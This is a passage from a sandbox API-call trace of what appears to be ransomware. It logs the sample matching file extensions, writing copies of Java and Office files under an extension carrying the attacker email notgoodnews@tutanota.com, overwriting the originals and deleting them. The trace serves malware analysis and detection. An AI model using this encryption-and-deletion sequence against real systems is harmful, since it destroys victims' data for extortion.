(lpString1=".xlsx", lpString2="c.gif") returned -1 [0067.277] lstrlenW (lpString=".ppt") returned 4 [0067.277] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.277] lstrlenW (lpString=".zip") returned 4 [0067.277] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.277] lstrlenW (lpString=".rar") returned 4 [0067.277] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.277] lstrlenW (lpString=".bz2") returned 4 [0067.277] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.277] lstrlenW (lpString=".7z") returned 3 [0067.277] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.277] lstrlenW (lpString=".dbf") returned 4 [0067.277] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.277] lstrlenW (lpString=".1cd") returned 4 [0067.277] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.277] lstrlenW (lpString=".jpg") returned 4 [0067.277] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.277] lstrlenW (lpString=".doc") returned 4 [0067.277] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.277] lstrlenW (lpString=".docx") returned 5 [0067.277] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0067.277] lstrlenW (lpString=".pdf") returned 4 [0067.277] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.277] lstrlenW (lpString=".xls") returned 4 [0067.277] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.277] lstrlenW (lpString=".xlsx") returned 5 [0067.277] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0067.277] lstrlenW (lpString=".ppt") returned 4 [0067.277] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.278] lstrlenW (lpString=".zip") returned 4 [0067.907] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.907] lstrlenW (lpString=".rar") returned 4 [0067.907] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.907] lstrlenW (lpString=".bz2") returned 4 [0067.907] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.907] lstrlenW (lpString=".7z") returned 3 [0067.907] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.907] lstrlenW (lpString=".dbf") returned 4 [0067.907] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.907] lstrlenW (lpString=".1cd") returned 4 [0067.907] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.907] lstrlenW (lpString=".jpg") returned 4 [0067.907] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0068.061] lstrcmpiW (lpString1=".txt", lpString2=".NEWS") returned 1 [0068.061] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0068.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0068.061] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=145180) returned 1 [0068.061] CloseHandle (hObject=0x35c) returned 1 [0068.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0068.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0068.062] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.062] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.062] GetLastError () returned 0x0 [0068.062] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2371c, lpOverlapped=0x0) returned 1 [0068.069] WriteFile (in: hFile=0x374, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x23720, lpOverlapped=0x0) returned 1 [0068.073] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.073] WriteFile (in: hFile=0x374, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x10a, lpOverlapped=0x0) returned 1 [0068.073] SetEndOfFile (hFile=0x374) returned 1 [0068.073] CloseHandle (hObject=0x374) returned 1 [0068.077] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.077] SetEndOfFile (hFile=0x35c) returned 1 [0068.079] CloseHandle (hObject=0x35c) returned 1 [0068.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.080] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0068.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.080] lstrlenW (lpString=".doc") returned 4 [0068.080] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0068.080] lstrlenW (lpString=".docx") returned 5 [0068.080] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0068.080] lstrlenW (lpString=".pdf") returned 4 [0068.080] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0068.080] lstrlenW (lpString=".xls") returned 4 [0068.080] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0068.080] lstrlenW (lpString=".xlsx") returned 5 [0068.080] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0068.080] lstrlenW (lpString=".ppt") returned 4 [0068.080] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0068.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.080] lstrlenW (lpString=".zip") returned 4 [0068.080] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0068.080] lstrlenW (lpString=".rar") returned 4 [0068.080] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0068.080] lstrlenW (lpString=".bz2") returned 4 [0068.080] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0068.080] lstrlenW (lpString=".7z") returned 3 [0068.080] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0068.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.080] lstrlenW (lpString=".dbf") returned 4 [0068.081] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.081] lstrlenW (lpString=".1cd") returned 4 [0068.081] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.081] lstrlenW (lpString=".jpg") returned 4 [0068.081] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.081] lstrlenW (lpString=".doc") returned 4 [0068.081] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString=".docx") returned 5 [0068.081] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0068.081] lstrlenW (lpString=".pdf") returned 4 [0068.081] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString=".xls") returned 4 [0068.081] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0068.081] lstrlenW (lpString=".xlsx") returned 5 [0068.081] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0068.081] lstrlenW (lpString=".ppt") returned 4 [0068.081] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.081] lstrlenW (lpString=".zip") returned 4 [0068.081] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0068.081] lstrlenW (lpString=".rar") returned 4 [0068.081] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString=".bz2") returned 4 [0068.081] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString=".7z") returned 3 [0068.081] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.081] lstrlenW (lpString=".dbf") returned 4 [0068.081] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0068.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.082] lstrlenW (lpString=".1cd") returned 4 [0068.082] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0068.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0068.082] lstrlenW (lpString=".jpg") returned 4 [0068.082] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0068.082] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.082] lstrlenW (lpString="AppXManifest.xml") returned 16 [0068.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0068.082] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=5944055) returned 1 [0068.082] CloseHandle (hObject=0x35c) returned 1 [0068.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0068.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0068.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0068.083] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fc64 | out: lpNewFilePointer=0x0) returned 1 [0068.083] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fc24 | out: lpNewFilePointer=0x0) returned 1 [0068.083] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x325fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c44058*, lpNumberOfBytesRead=0x325fc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.102] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x325fc24 | out: lpNewFilePointer=0x0) returned 1 [0068.102] ReadFile (in: hFile=0x35c, lpBuffer=0x3c84058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x325fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c84058*, lpNumberOfBytesRead=0x325fc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.110] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x325fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.110] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x325fc24 | out: lpNewFilePointer=0x0) returned 1 [0068.110] ReadFile (in: hFile=0x35c, lpBuffer=0x3cc4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x325fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cc4058*, lpNumberOfBytesRead=0x325fc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.552] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.552] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x325fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0068.571] SetEndOfFile (hFile=0x35c) returned 1 [0068.571] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3e3ba78 [0068.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fc74 | out: lpNewFilePointer=0x0) returned 1 [0068.577] WriteFile (in: hFile=0x35c, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x325fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x325fc80*=0x40000, lpOverlapped=0x0) returned 1 [0068.578] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x325fc74 | out: lpNewFilePointer=0x0) returned 1 [0068.579] WriteFile (in: hFile=0x35c, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x325fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x325fc80*=0x40000, lpOverlapped=0x0) returned 1 [0068.584] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x325fc74 | out: lpNewFilePointer=0x0) returned 1 [0068.584] WriteFile (in: hFile=0x35c, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x325fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x325fc80*=0x40000, lpOverlapped=0x0) returned 1 [0068.586] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0068.586] CloseHandle (hObject=0x35c) returned 1 [0072.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.414] lstrlenW (lpString=".doc") returned 4 [0072.414] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.414] lstrlenW (lpString=".docx") returned 5 [0072.414] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0072.414] lstrlenW (lpString=".pdf") returned 4 [0072.414] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.414] lstrlenW (lpString=".xls") returned 4 [0072.414] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.414] lstrlenW (lpString=".xlsx") returned 5 [0072.414] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0072.414] lstrlenW (lpString=".ppt") returned 4 [0072.414] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.414] lstrlenW (lpString=".zip") returned 4 [0072.414] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.415] lstrlenW (lpString=".rar") returned 4 [0072.415] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString=".bz2") returned 4 [0072.415] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString=".7z") returned 3 [0072.415] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.415] lstrlenW (lpString=".dbf") returned 4 [0072.415] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.415] lstrlenW (lpString=".1cd") returned 4 [0072.415] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.415] lstrlenW (lpString=".jpg") returned 4 [0072.415] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.415] lstrlenW (lpString=".doc") returned 4 [0072.415] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString=".docx") returned 5 [0072.415] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0072.415] lstrlenW (lpString=".pdf") returned 4 [0072.415] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString=".xls") returned 4 [0072.415] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString=".xlsx") returned 5 [0072.415] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0072.415] lstrlenW (lpString=".ppt") returned 4 [0072.415] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.415] lstrlenW (lpString=".zip") returned 4 [0072.415] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.415] lstrlenW (lpString=".rar") returned 4 [0072.415] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.415] lstrlenW (lpString=".bz2") returned 4 [0072.415] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.416] lstrlenW (lpString=".7z") returned 3 [0072.416] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.416] lstrlenW (lpString=".dbf") returned 4 [0072.416] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.416] lstrlenW (lpString=".1cd") returned 4 [0072.416] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0072.416] lstrlenW (lpString=".jpg") returned 4 [0072.416] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.416] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.416] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0072.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.712] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=399528) returned 1 [0072.712] CloseHandle (hObject=0x354) returned 1 [0072.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0072.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.712] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.712] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0072.713] GetLastError () returned 0x0 [0072.713] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0072.722] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0072.729] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.729] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.730] SetEndOfFile (hFile=0x384) returned 1 [0072.730] CloseHandle (hObject=0x384) returned 1 [0072.741] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.741] SetEndOfFile (hFile=0x354) returned 1 [0072.744] CloseHandle (hObject=0x354) returned 1 [0072.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) 